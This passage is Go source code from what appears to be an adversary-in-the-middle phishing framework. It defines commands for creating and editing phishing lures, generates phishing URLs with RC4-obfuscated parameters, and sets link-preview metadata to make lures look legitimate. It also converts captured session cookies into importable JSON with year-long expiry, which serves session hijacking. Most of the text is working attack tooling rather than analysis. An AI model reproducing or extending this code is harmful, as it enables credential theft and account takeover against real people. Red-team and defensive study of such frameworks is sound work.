readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))), readline.PcItem("delete", readline.PcItem("all")))) h.AddSubCommand("lures", nil, "", "show all create lures") h.AddSubCommand("lures", nil, "", "show details of a lure with a given ") h.AddSubCommand("lures", []string{"create"}, "create ", "creates new lure for given ") h.AddSubCommand("lures", []string{"delete"}, "delete ", "deletes lure with given ") h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures") h.AddSubCommand("lures", []string{"get-url"}, "get-url ", "generates a phishing url for a lure with a given , with optional parameters") h.AddSubCommand("lures", []string{"get-url"}, "get-url import export ", "generates phishing urls, importing parameters from file and exporting them to ") h.AddSubCommand("lures", []string{"pause"}, "pause <1d2h3m4s>", "pause lure for specific amount of time and redirect visitors to `unauth_url`") h.AddSubCommand("lures", []string{"unpause"}, "unpause ", "unpause lure and make it available again") h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit hostname ", "sets custom phishing for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "path"}, "edit path ", "sets custom url for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit redirector ", "sets an html redirector directory for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit ua_filter ", "sets a regular expression user-agent whitelist filter for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url ", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet ", "change the phishlet, the lure with a given applies to") h.AddSubCommand("lures", []string{"edit", "info"}, "edit info ", "set personal information to describe a lure with a given (display only)") h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title ", "sets opengraph title that will be shown in link preview, for a lure with a given <id>") h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit <id> og_des <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>") h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit <id> og_image <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>") h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit <id> og_url <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>") h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP, readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("noadd"), readline.PcItem("off"), readline.PcItem("log", readline.PcItem("on"), readline.PcItem("off")))) h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode") h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)") h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests") h.AddSubCommand("blacklist", []string{"noadd"}, "noadd", "block but do not add new ip addresses to blacklist") h.AddSubCommand("blacklist", []string{"off"}, "off", "ignore blacklist and allow every request to go through") h.AddSubCommand("blacklist", []string{"log"}, "log <on|off>", "enable or disable log output for blacklist messages") h.AddCommand("test-certs", "general", "test TLS certificates for active phishlets", "Test availability of set up TLS certificates for active phishlets.", LAYER_TOP, readline.PcItem("test-certs")) h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP, readline.PcItem("clear")) t.hlp = h } func (t *Terminal) cookieTokensToJSON(tokens map[string]map[string]*database.CookieToken) string { type Cookie struct { Path string `json:"path"` Domain string `json:"domain"` ExpirationDate int64 `json:"expirationDate"` Value string `json:"value"` Name string `json:"name"` HttpOnly bool `json:"httpOnly"` HostOnly bool `json:"hostOnly"` Secure bool `json:"secure"` Session bool `json:"session"` } var cookies []*Cookie for domain, tmap := range tokens { for k, v := range tmap { c := &Cookie{ Path: v.Path, Domain: domain, ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(), Value: v.Value, Name: k, HttpOnly: v.HttpOnly, Secure: false, Session: false, } if strings.Index(k, "__Host-") == 0 || strings.Index(k, "__Secure-") == 0 { c.Secure = true } if domain[:1] == "." { c.HostOnly = false // c.Domain = domain[1:] - bug support no longer needed // NOTE: EditThisCookie was phased out in Chrome as it did not upgrade to manifest v3. The extension had a bug that I had to support to make the exported cookies work for !hostonly cookies. // Use StorageAce extension from now on: https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo } else { c.HostOnly = true } if c.Path == "" { c.Path = "/" } cookies = append(cookies, c) } } json, _ := json.Marshal(cookies) return string(json) } func (t *Terminal) tokensToJSON(tokens map[string]string) string { var ret string white := color.New(color.FgHiWhite) for k, v := range tokens { ret += fmt.Sprintf("%s: %s\n", k, white.Sprint(v)) } return ret } func (t *Terminal) checkStatus() { if t.cfg.GetBaseDomain() == "" { log.Warning("server domain not set! type: config domain <domain>") } if t.cfg.GetServerExternalIP() == "" { log.Warning("server external ip not set! type: config ipv4 external <external_ipv4_address>") } } func (t *Terminal) manageCertificates(verbose bool) { if !t.p.developer { if t.cfg.IsAutocertEnabled() { hosts := t.p.cfg.GetActiveHostnames("") //wc_host := t.p.cfg.GetWildcardHostname() //hosts := []string{wc_host} //hosts = append(hosts, t.p.cfg.GetActiveHostnames("")...) if verbose { log.Info("obtaining and setting up %d TLS certificates - please wait up to 60 seconds...", len(hosts)) } err := t.p.crt_db.setManagedSync(hosts, 60*time.Second) if err != nil { log.Error("failed to set up TLS certificates: %s", err) log.Error("run 'test-certs' command to retry") return } if verbose { log.Info("successfully set up all TLS certificates") } } else { err := t.p.crt_db.setUnmanagedSync(verbose) if err != nil { log.Error("failed to set up TLS certificates: %s", err) log.Error("run 'test-certs' command to retry") return } } } } func (t *Terminal) sprintPhishletStatus(site string) string { higreen := color.New(color.FgHiGreen) logreen := color.New(color.FgGreen) hiblue := color.New(color.FgHiBlue) blue := color.New(color.FgBlue) cyan := color.New(color.FgHiCyan) yellow := color.New(color.FgYellow) higray := color.New(color.FgWhite) logray := color.New(color.FgHiBlack) n := 0 cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"} var rows [][]string var pnames []string for s := range t.cfg.phishlets { pnames = append(pnames, s) } sort.Strings(pnames) for _, s := range pnames { pl := t.cfg.phishlets[s] if site == "" || s == site { _, err := t.cfg.GetPhishlet(s) if err != nil { continue } status := logray.Sprint("disabled") if pl.isTemplate { status = yellow.Sprint("template") } else if t.cfg.IsSiteEnabled(s) { status = higreen.Sprint("enabled") } hidden_status := higray.Sprint("visible") if t.cfg.IsSiteHidden(s) { hidden_status = logray.Sprint("hidden") } domain, _ := t.cfg.GetSiteDomain(s) unauth_url, _ := t.cfg.GetSiteUnauthUrl(s) n += 1 if s == site { var param_names string for k, v := range pl.customParams { if len(param_names) > 0 { param_names += "; " } param_names += k if v != "" { param_names += ": " + v } } keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"} vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)} return AsRows(keys, vals) } else if site == "" { rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)}) } } } return AsTable(cols, rows) } func (t *Terminal) sprintIsEnabled(enabled bool) string { logray := color.New(color.FgHiBlack) normal := color.New(color.Reset) if enabled { return normal.Sprint("true") } else { return logray.Sprint("false") } } func (t *Terminal) sprintLures() string { higreen := color.New(color.FgHiGreen) hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) cyan := color.New(color.FgCyan) hcyan := color.New(color.FgHiCyan) white := color.New(color.FgHiWhite) //n := 0 cols := []string{"id", "phishlet", "hostname", "path", "redirector", "redirect_url", "paused", "og"} var rows [][]string for n, l := range t.cfg.lures { var og string if l.OgTitle != "" { og += higreen.Sprint("x") } else { og += "-" } if l.OgDescription != "" { og += higreen.Sprint("x") } else { og += "-" } if l.OgImageUrl != "" { og += higreen.Sprint("x") } else { og += "-" } if l.OgUrl != "" { og += higreen.Sprint("x") } else { og += "-" } var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0))) rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), yellow.Sprint(l.RedirectUrl), s_paused, og}) } return AsTable(cols, rows) } func (t *Terminal) phishletPrefixCompleter(args string) []string { return t.cfg.GetPhishletNames() } func (t *Terminal) redirectorsPrefixCompleter(args string) []string { dir := t.cfg.GetRedirectorsDir() files, err := ioutil.ReadDir(dir) if err != nil { return []string{} } var ret []string for _, f := range files { if f.IsDir() { index_path1 := filepath.Join(dir, f.Name(), "index.html") index_path2 := filepath.Join(dir, f.Name(), "index.htm") index_found := "" if _, err := os.Stat(index_path1); !os.IsNotExist(err) { index_found = index_path1 } else if _, err := os.Stat(index_path2); !os.IsNotExist(err) { index_found = index_path2 } if index_found != "" { name := f.Name() if strings.Contains(name, " ") { name = "\"" + name + "\"" } ret = append(ret, name) } } } return ret } func (t *Terminal) luresIdPrefixCompleter(args string) []string { var ret []string for n := range t.cfg.lures { ret = append(ret, strconv.Itoa(n)) } return ret } func (t *Terminal) importParamsFromFile(base_url string, path string) ([]string, []map[string]string, error) { var ret []string var ret_params []map[string]string f, err := os.OpenFile(path, os.O_RDONLY, 0644) if err != nil { return ret, ret_params, err } defer f.Close() var format string = "text" if filepath.Ext(path) == ".csv" { format = "csv" } else if filepath.Ext(path) == ".json" { format = "json" } log.Info("importing parameters file as: %s", format) switch format { case "text": fs := bufio.NewScanner(f) fs.Split(bufio.ScanLines) n := 0 for fs.Scan() { n += 1 l := fs.Text() // remove comments if n := strings.Index(l, ";"); n > -1 { l = l[:n] } l = strings.Trim(l, " ") if len(l) > 0 { args, err := parser.Parse(l) if err != nil { log.Error("syntax error at line %d: [%s] %v", n, l, err) continue } params := url.Values{} map_params := make(map[string]string) for _, val := range args { sp := strings.Index(val, "=") if sp == -1 { log.Error("invalid parameter syntax at line %d: [%s]", n, val) continue } k := val[:sp] v := val[sp+1:] params.Add(k, v) map_params[k] = v } if len(params) > 0 { ret = append(ret, t.createPhishUrl(base_url, ¶ms)) ret_params = append(ret_params, map_params) } } } case "csv": r := csv.NewReader(bufio.NewReader(f)) param_names, err := r.Read() if err != nil { return ret, ret_params, err } var params []string for params, err = r.Read(); err == nil; params, err = r.Read() { if len(params) != len(param_names) { log.Error("number of csv values do not match number of keys: %v", params) continue } item := url.Values{} map_params := make(map[string]string) for n, param := range params { item.Add(param_names[n], param) map_params[param_names[n]] = param } if len(item) > 0 { ret = append(ret, t.createPhishUrl(base_url, &item)) ret_params = append(ret_params, map_params) } } if err != io.EOF { return ret, ret_params, err } case "json": data, err := ioutil.ReadAll(bufio.NewReader(f)) if err != nil { return ret, ret_params, err } var params_json []map[string]interface{} err = json.Unmarshal(data, ¶ms_json) if err != nil { return ret, ret_params, err } for _, json_params := range params_json { item := url.Values{} map_params := make(map[string]string) for k, v := range json_params { if val, ok := v.(string); ok { item.Add(k, val) map_params[k] = val } else { log.Error("json parameter '%s' value must be of type string", k) } } if len(item) > 0 { ret = append(ret, t.createPhishUrl(base_url, &item)) ret_params = append(ret_params, map_params) } } /* r := json.NewDecoder(bufio.NewReader(f)) t, err := r.Token() if err != nil { return ret, ret_params, err } if s, ok := t.(string); ok && s == "[" { for r.More() { t, err := r.Token() if err != nil { return ret, ret_params, err } if s, ok := t.(string); ok && s == "{" { for r.More() { t, err := r.Token() if err != nil { return ret, ret_params, err } } } } } else { return ret, ret_params, fmt.Errorf("array of parameters not found") }*/ } return ret, ret_params, nil } func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phish_params []map[string]string, format string) error { if len(phish_urls) != len(phish_params) { return fmt.Errorf("phishing urls and phishing parameters count do not match") } if !stringExists(format, []string{"text", "csv", "json"}) { return fmt.Errorf("export format can only be 'text', 'csv' or 'json'") } f, err := os.OpenFile(export_path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644) if err != nil { return err } defer f.Close() if format == "text" { for n, phish_url := range phish_urls { var params string m := 0 params_row := phish_params[n] for k, v := range params_row { if m > 0 { params += " " } params += fmt.Sprintf("%s=\"%s\"", k, v) m += 1 } _, err := f.WriteString(phish_url + " ; " + params + "\n") if err != nil { return err } } } else if format == "csv" { var data [][]string w := csv.NewWriter(bufio.NewWriter(f)) var cols []string var param_names []string cols = append(cols, "url") for _, params_row := range phish_params { for k := range params_row { if !stringExists(k, param_names) { cols = append(cols, k) param_names = append(param_names, k) } } } data = append(data, cols) for n, phish_url := range phish_urls { params := phish_params[n] var vals []string vals = append(vals, phish_url) for _, k := range param_names { vals = append(vals, params[k]) } data = append(data, vals) } err := w.WriteAll(data) if err != nil { return err } } else if format == "json" { type UrlItem struct { PhishUrl string `json:"url"` Params map[string]string `json:"params"` } var items []UrlItem for n, phish_url := range phish_urls { params := phish_params[n] item := UrlItem{ PhishUrl: phish_url, Params: params, } items = append(items, item) } data, err := json.MarshalIndent(items, "", "\t") if err != nil { return err } _, err = f.WriteString(string(data)) if err != nil { return err } } return nil } func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string { var ret string = base_url if len(*params) > 0 { key_arg := strings.ToLower(GenRandomString(rand.Intn(3) + 1)) enc_key := GenRandomAlphanumString(8) dec_params := params.Encode() var crc byte for _, c := range dec_params { crc += byte(c) } c, _ := rc4.NewCipher([]byte(enc_key)) enc_params := make([]byte, len(dec_params)+1) c.XORKeyStream(enc_params[1:], []byte(dec_params)) enc_params[0] = crc key_val := enc_key + base64.RawURLEncoding.EncodeToString([]byte(enc_params)) ret += "?" + key_arg + "=" + key_val } return ret } func (t *Terminal) sprintVar(k string, v string) string { vc := color.New(color.FgYellow) return k + ": " + vc.Sprint(v) } func (t *Terminal) filterInput(r rune) (rune, bool) { switch r { // block CtrlZ feature case readline.CharCtrlZ: return r, false } return r, true }